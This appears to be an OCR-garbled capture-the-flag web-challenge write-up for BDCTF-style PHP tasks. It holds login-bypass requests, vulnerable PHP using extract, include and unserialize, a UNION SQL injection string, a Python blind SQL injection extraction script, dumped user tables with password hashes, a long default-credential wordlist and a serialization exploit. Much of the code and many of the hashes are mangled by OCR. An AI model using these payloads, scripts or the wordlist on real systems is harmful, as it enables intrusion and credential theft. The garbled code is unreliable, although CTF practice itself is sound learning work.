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FOST / HTTP/Ll.1 A HTTP/Ll.1 Z00 CK "
Host: f944ecfceaddbllec3SlfI3738456e52 . yogeit. com:8080 o Jerver: nginx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4; rv:56.0) Date: Mon, 30 Cct 200 o N
Gecko/20100L0L Firefox/56.0 Content-Type: text/hi i J + i ¢
Aeecept: text/html, application/xhtml+xml, application/xml:g=0.9,*/*;q=0.8 Connection: close
Accept-Language: zh-CH, gh;q=0.8,en-U3;q=0.5,en;q=0.3 Vary: Accept-Encodinc "y " - 1
Aocept-Encoding: gzip, deflate Content-Length: 593 /|
Content—Type: application/x-www—-form-urlencodsd
Content-Length: 57 <html>
Referer: htop://f9494ecfceaddbllec591£23738496=52 . yogeit. com: 8080/ <head>
Connection: close <meta content-type=text/html chatset="utf-5">
Upgrade-Insscure-Regquests: 1 <title>Web</title>

</ head:>
username=adminepassword[] =falseasubmit=%E7599%BE3E5%ED%95 <body>

<div align="center":>

<hl>000web00</hl>

<form action="" method="POST">

O00: <INFUT TYPE="text" nams="usernams"><ER>
O&nbspinbspanbspanbspl: <INFUT TYPE="password"

name="password"><BR>
<INPUT type="submit" valus="00" name="submit":>
</ form>
<fdiv>
</body>
</html>
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gextract($ GET); if(isset($bdctf)) {
fcontent=trim(file get contents($flag));
acho’ bdctf{******xxxx] " . 1

}

if($bdctf—%content) {
else { echo " E T E i ERIEBH";
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you are not bd-admin !

{I—
@fuser = § GET[“user”];
@$file = § GET[file”];

if(isset ($user)&& (file get contents(Suser, 'r’')==="the user is bdadmin”)) {
echo "hello bd-admin!<br>”;
include ($§file),; //flag. php
Jelsef{
echo “you are not bd-admin ! *
/
—>
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1' and 1=2 union select md5(1),md5(1),md5(1),md5(1),md5(1),md5(1),md5(1),md5(1),md5(1) #1
55 0194878
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__author__ = "GETF"# -*-coding:utf-8-*-import requests flag = ""key=@print("Start")for i in range(1,13): fo
r payload in range(33,126): headers = {'Host': 'eef6f0186546043da56bf4c7f7e6d3ca.yogeit.com:8080",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
"Accept’': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 'Accept-Encoding': 'gzip, d
eflate’, 'Content-Type': 'application/x-www-form-urlencoded’, 'Content-L
ength': '89', 'Referer': 'http://eef6f0186546043da56bf4c7f7e6d3ca.yogeit.com:8080/index.php
s 'Cookie': "PHPSESSID=jbt7fg570p5dd193tf8e9d0s40’, 'Connection': 'clos
e', 'Upgrade-Insecure-Requests': '1"' } payload_ascii = payload haha =
"1' or ascii(substr((select column_name from information_schema.columns where table_name=0x6D656D626572 limit
6,1),{0},1))>{1}#" . format(i,payload_ascii) data = { 'name’: haha, 'password’:'11"
9 "submit2':"%E4%BC%OA%ES%91%98%E7%99%BB%E5%BD%95" } url = "http://eef6f0186546043da5
6bf4c7f7e6d3ca.yogeit.com:8080/index.php"’ res = requests.post(url, headers=headers,data=data) le
ngth = len(res.text) if(length == 1357): flag = flag+chr(payload) print(flag)

print('\n") break if(payload_ascii == 126): print(“none"
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#1516 %I IEH#1357 K S48 R #database#ttable member#id (2) member_user (11) member_password (15) member
_name (11) member_sex (10) member_qq (9) member_phone (12) (12) #447H#E #member admin

ghbb xinyonghu xydoor#password 5416d7cd6ef195a0f7622a9c56b55e84 ef7dcdd31fe0
225b0a7063b975acedc6# ef3dcdd21f00225b0a7063b974acedc6 af3dcdf21f00225b0a2063b974acedc2
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<!-- $a = md5("123456") ;echo $a; //$a%H Neleadc3949ba59abbe56e057f20F883e</p> <p>echo "<hr/>";</p> <p>$e =
md5 ("el@adc3949ba59abbe56e057f20f883evCmkn3™); //md5(password)+encryptecho $e; //$efifiti 45 H57cd0258e743463476
€8d0028311ed44</p> <p>//FTLh123456% i phpems vOINEE MM J5 45 R i /& 57cd0258e743463476e8d0028311ed4412341234512345
612345671234567812345678912345678900987654321987654321123123123412341234512345adminadminllg2w3e4radmin2admin3a
dmind4admin5admin6lgq2w3ed4radmin7admin8admin9adminllladmin222admin333admin444admin555admin666admin777admin888adm
in999admin@@Padminaadminbadmincadmindadmineadmingadminwadminradmintadminyadminuadminiadminoadminsadminaadminda
dminfadmingadminhadminjadminkadminladminzrootrootlroot2root3root4root5rootl23rootl234rootl2345rootl23456rootpa
ssrootpasswordrootpasswdpasswordpasswordl23passwordl234passwordl2345passwordl123456passpasslpass123passi234pass
12345passi23456passwdpasswdlpasswdl2passwdl23passwdl234passwdl2345passwd1234567u8i900p6y7u8i900@p5t6y7u8i9o0p9o
Op-[=]0p-[=]741852963963852741789456123abc123123abcmimamimal23phpcmsphpcms123phpcms1234phpcms12345phpcms123456
phpcms888phpcmslllaxis2axislaxis3axislllaxis222axis333axis888axis666axistestingguestsupportmanagerserveruserad
minadmadminladmin2administratorrootsystemcszhoperatorsupersystesttestlpowerinfodefaultusernamemastersysadminsy
smansysadmdemowwwititadminitadmitmanagersecurityciscowwwuserwebadminl11111111111111111000000testtesttest123sys_
managerl23456tomcatceshiceshilceshi2ceshi3kefucaiwusuperadminmy_testadminuserconsoleguanlicontrolqwertyuiadmms
fadminsshdsshadministrationsalespostgresmysqloraclecheckinggodsystemadminsystemadministratorwww-datamailadminw
ebmasterapacheservicel123451234123passwordp@sswordpasswdP@sswOrdP@sswlOrdlp@sswlOrdkftest2test3userlimadminimsysi
msystemfuckpostmastercompileprofessionaladminsr@@ttoolssoftmailredhat1231q2w3edr--><table width="100" border="
0" align="center" cellpadding="0" cellspacing="0
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<?php class Read{//f1a9.php public $file; public function _ toString(){ if(isset($this->file)){
echo file_get_contents($this->file); } return "#tEget flag"; }}?><?php@$user =
$_GET["user"];@$file = $ GET["file"];@%$pass = $_GET["pass"]; if(isset($user)&&(file_get_ contents($user,'r')==
="the user is bluedon")){ echo "hello bluedon!<br>"; if(preg_match("/f1a9/",$file)){ exit(); }
else{ @include($file); //class.php $pass = unserialize($pass); echo $pass; }telse{
echo "you are not bluedon ! ";} ?> <!--$user = $ GET["user"];$file = $ GET["file"];$pass = $_GET["pass"]; if(i
sset($user)&&(file_get_contents($user, 'r')==="the user is bluedon")){ echo "hello bluedon!<br>"; include

($file); //class.php}else{ echo "you are not bluedon ! ";} -->
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<?php class Read{//flag.php public $file; } $a = new Read();
$a->file = "fla9.php"; $a = serialize($a); print_r($a); 2>
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<?phperror_reporting(0);$KEY="BDCTF:www.bluedon.com';include_once("flag.php");$cookie = $_COOKIE[ 'BDCTF'];if(i
sset($_GET[ 'hint'])){ show_source(__FILE_ );}elseif (unserialize($cookie) === "$KEY"){ echo "$flag"”;}
else {?><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><1li
nk rel="stylesheet"” href="admin.css" type="text/css"></head><body><br><div class="container" align="center">

<form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input
name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </

form></div></body></html>
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